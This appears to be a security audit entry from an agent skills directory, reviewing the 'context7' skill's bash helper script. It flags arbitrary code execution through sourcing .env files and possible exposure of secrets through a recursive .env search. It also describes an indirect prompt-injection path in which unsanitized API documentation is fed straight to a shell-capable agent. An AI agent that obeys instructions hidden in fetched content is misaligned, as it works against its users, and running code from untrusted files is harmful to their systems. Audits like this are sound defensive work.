The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The _context7_source_env function in scripts/context7.sh uses the bash source operator (.) to load environment files. This executes any bash code contained in the file within the current shell context. Since the lookup logic searches multiple and potentially untrusted filesystem locations, this presents a risk of arbitrary code execution.
[DATA_EXFILTRATION]: The _context7_load_env function in scripts/context7.sh implements a filesystem search that look for and reads .env files in the current working directory and recursively through all parent directories.
[PROMPT_INJECTION]: The skill is susceptible to indirect prompt injection by processing untrusted data from the context7.com API.
Ingestion points: API responses from the docs and json subcommands in scripts/context7.sh are fed directly to the agent.
Boundary markers: None are used to separate the fetched documentation from the agent's instructions.
Capability inventory: The agent can execute system commands (curl, jq, awk) and has shell access via the skill's helpers.
Sanitization: No validation or sanitization of the external API content is performed.
[COMMAND_EXECUTION]: The bash helper script executes curl and jq with arguments derived from external API responses and user-provided library IDs or queries.

context7